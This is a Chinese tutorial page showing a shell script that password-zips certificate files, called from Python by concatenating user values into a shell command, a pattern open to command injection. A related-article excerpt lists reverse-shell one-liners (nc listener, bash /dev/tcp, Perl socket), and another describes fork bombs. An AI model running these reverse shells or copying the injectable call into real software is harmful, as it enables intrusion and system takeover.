shell脚本学习之调用脚本将文件打包zip的方法示例

前言

本文主要给大家介绍的是关于调用脚本将文件打包zip的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍:

最近刚刚接触shell脚本,写了一点简单的练手。这里是用python调用脚本执行打包操作。

方法如下:

第一步,创建脚本:

#!/bin/sh
CERT_DIR_ZIP=/data/cert/keys
zip_user(){
 zip -P $zip_psw /data/frontend/tmp/$zip_name.zip $client/*
}
if [ "x$1" = "xzip" ];then
 cd $CERT_DIR_ZIP
 client=$2
 zip_psw=$3
 zip_name=$4
 zip_user
 cd -
fi

第二步:调用脚本

我这里用的是python调用的脚本文件去执行,注意传入的字符格式。我这里exec_shell写在公共类中.

exec_shell(self, '/bin/sh /data/root/sbin/usercert.sh zip ' + CLIENT + ' "' + zip_psw + '" ' + zip_name)
#具体方法
import commands
def exec_shell(self, shell):
 (status, out) = commands.getstatusoutput(shell)
 if (status != 0): # 执行脚本失败
 self.log.debug("exec [%s] fail. out=%s"%(shell, out))
 else:
 self.log.debug("exec [%s] success. out=%s"%(shell, out))
 return (status, out)

总结

以上就是这篇文章的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对我们的支持。

(0)

相关推荐

  • 提高你工作效率的shell命令总结大全

    前言 大家都知道Shell是一个用C语言编写的程序,它是用户使用 Linux 的桥梁.Shell就是一个命令行解释器,它的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive).下面这篇文章主要给大家分享了一些关于提高工作效率的shell命令,话不多说,来一起看看详细的介绍: 一.切换目录 注意:当前用户是xiaochao,系统为centos6,并且,shell命令是严格区分大小写的. 显示当前目录路径:pwd pwd output:/

  • shell如何记录用户的IP与命令详解

    记录输入的命令 history命令可以查看用户输入过的命令,一个典型history命令输出如下: 980 2017-05-29 20:17:37 cd - 981 2017-05-29 20:17:41 cat index.html 982 2017-05-29 20:20:11 vim index.html 983 2017-05-29 20:39:18 cd - 984 2017-05-29 20:39:25 cd /var/log/nginx/ 985 2017-05-29 20:39:2

  • shell脚本实现多进程运行的方法示例

    本文主要跟大家分享了shell脚本实现多进程运行的相关内容,分享出来供大家参考学习,下面来一起看看详细的介绍: 例子 for ip in 192.168.56.{1..254} do ( ping $ip -c 4 &>/dev/null; if [ $? -eq 0 ]; then echo $ip is alive fi ) & done wait 解释 重点是在于()和&,把for里面需要执行的命令当作一个组合并在后台运行. wait等待所有后台子程序执行完毕 执行效率

  • Shell脚本经典之Fork炸弹的分析与预防

    fork炸弹介绍 众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少函数这个元素来帮助程序进行模块化的高效开发与管理.于是产生了由于其特殊的特性,bash拥有了fork炸弹.Jaromil在2002年设计了最为精简的一个fork炸弹的实现. 所谓fork炸弹是一种恶意程序,它的内部是一个不断在fork进程的无限循环,fork炸弹并不需要有特别的权限即可对系统造成破坏.fork炸弹实质是一个简单的递归程序.由于程序是递归的,如果没有任何限制

  • shell脚本实现多彩进度条

    先贴代码 #!/bin/bash i=0; str="" arr=("|" "/" "-" "\\") while [ $i -le 100 ] do let index=i%4 let indexcolor=i%8 let color=30+indexcolor printf "\e[0;$color;1m[%-100s][%d%%]%c\r" "$str" &qu

  • Linux下NC反弹shell命令(推荐)

    本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

  • 详解Linux Shell 实现一个获取任意位数的随机密码的脚本

    Shell 命令行,实现一个获取任意位数的随机密码的脚本 每次我们想要获得一个密码的时候都很头疼,于是我之前自己用nodejs写了一个 Shell 脚本.这两天在学习 bash Shell 所以,想用同样的逻辑实现一个获取任意位数随机密码的脚本. 我成功了 :) 分析问题 我们假设我们需要的密码是大小写字母以及数字的组合,并且剔除掉 1,l,0,O,o 这些不便于认知的字符. 然后随机的读取其中的字符,组合成一个我们需要的密码,最后输出. 理顺了逻辑之后,我想到有下面的知识点是我之前不是很熟悉的

  • shell脚本学习之调用脚本将文件打包zip的方法示例

    前言 本文主要给大家介绍的是关于调用脚本将文件打包zip的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 最近刚刚接触shell脚本,写了一点简单的练手.这里是用python调用脚本执行打包操作. 方法如下: 第一步,创建脚本: #!/bin/sh CERT_DIR_ZIP=/data/cert/keys zip_user(){ zip -P $zip_psw /data/frontend/tmp/$zip_name.zip $client/* } if [ "x$1"

  • shell之创建文件及内容的方法示例

    shell之创建文件夹: [root@vbox-nginx shell_command]# vi ./mkdir.sh #!/bin/sh parentDir="/media/sf_Project/self/smarty-frame/application/$1" fileName=$2 dirAndName=$parentDir/$fileName if [ ! -d "$dirAndName" ];then mkdir $dirAndName echo &quo

  • logback中显示mybatis查询日志文件并写入的方法示例

    目录 在logback中显示mybatis查询日志 一.配置文件 二.定制包的日志level 三.通过logback-spring.xml文件 将操作数据库sql记录到日志文件中 网上看了很多篇文章关于如何配置mybatis的logback日志的,复杂的简单的都有,但是有用的没几个,耽误了很多时间.通过对logback的学习,以下方式是一定可行的,希望可以为大家节省点时间.通常我们可以通过如下配置将操作数据库的sql语句打印到控制台上,但是如何将这些sql语句记录到日志文件中方便我们查询问题呢?

  • Python实现检测文件MD5值的方法示例

    本文实例讲述了Python实现检测文件MD5值的方法.分享给大家供大家参考,具体如下: 前面介绍过Python计算文件md5值的方法,这里分析一下Python检测文件MD5值的另一种实现方法. 概述: MD5(单向散列算法)的全称是Message-Digest Algorithm 5(信息-摘要算法),经MD2.MD3和MD4发展而来.MD5算法的使用不需要支付任何版权费用. 实现代码: #python 检测文件MD5值 #python version 2.6 import hashlib im

  • Python简单计算文件MD5值的方法示例

    本文实例讲述了Python简单计算文件MD5值的方法.分享给大家供大家参考,具体如下: 一 代码 import sys import hashlib import os.path filename = sys.argv[1] if os.path.isfile(filename): fp=open(filename,'rb') contents=fp.read() fp.close() print(hashlib.md5(contents).hexdigest()) else: print('f

  • Python CSV 文件解析和生成方法示例

    目录 思路 Python with CSV CSV 格式 使用 Python 的 csv 库 其他 思路 简单的生成和读取 CSV CSV 文件格式 使用 csv 库 Python with CSV 先有个很朴素的生成和解析的方法. 生成: data = [ [1, 2, 3], [4, 5, 6], [7, 8, 9], ] for cow in data: print(','.join(map(str, cow))) 生成结果: 1,2,34,5,67,8,9 解析 s = ""&

  • 基于rsync写脚本实现多节点多服务器文件一键同步的方法

    目录 集群脚本分发 scp 基本语法 简单操作 rsync 基本语法 简单操作 xsync 需求 实现 SSH 无密码登录 免登陆原理 操作步骤 集群脚本分发 在处理 Linux 集群的时候,常常会涉及到集群内文件的同步.文件数量多,且需要频繁同步的情况下,运用 一些 Linux 命令能很大程度上的帮助我们节省时间和精力. 本文将介绍 scp 和 rsync 两个命令 scp(secure copy) 安全拷贝:可以实现服务器与服务器之间的数据拷贝.rsync 远程同步工具:主要用于备份和镜像.

  • .NET/C#利用反射调用含ref或out参数的方法示例代码

    前言 使用反射,我们可以很容易地在运行时调用一些编译时无法确定的属性.方法等.在.NET中的反射可以实现从对象的外部来了解对象(或程序集)内部结构的功能,哪怕你不知道这个对象(或程序集)是个什么东西,另外.NET中的反射还可以运态创建出对象并执行它其中的方法. 反射是.NET中的重要机制,通过反射,可以在运行时获得程序或程序集中每一个类型(包括类.结构.委托.接口和枚举等)的成员和成员的信息.有了反射,即可对每一个类型了如指掌.另外我还可以直接创建对象,即使这个对象的类型在编译时还不知道. 反射

  • C#编程实现统计文件夹内文件和隐藏文件的方法示例

    本文实例讲述了C#编程实现统计文件夹内文件和隐藏文件的方法.分享给大家供大家参考,具体如下: C#统计文件夹内的文件,包括隐藏文件,显示那个隐藏文件...隐藏的..为什么别人要隐藏呢.. 将程序放在任何文件夹内,点击"当前文件夹",可以获取文件夹所在的路径,也可以直接输入路径,再点击"显示文件",就可以看到效果了,下面的状态栏实现统计功能 using System; using System.Collections.Generic; using System.Co

  • Python实现按特定格式对文件进行读写的方法示例

    本文实例讲述了Python实现按特定格式对文件进行读写的方法.分享给大家供大家参考,具体如下: #! /usr/bin/env python #coding=utf-8 class ResultFile(object): def __init__(self, res): self.res = res def WriteFile(self): fp = open('pre_result.txt', 'w') print 'write start!' try: for item in self.re

随机推荐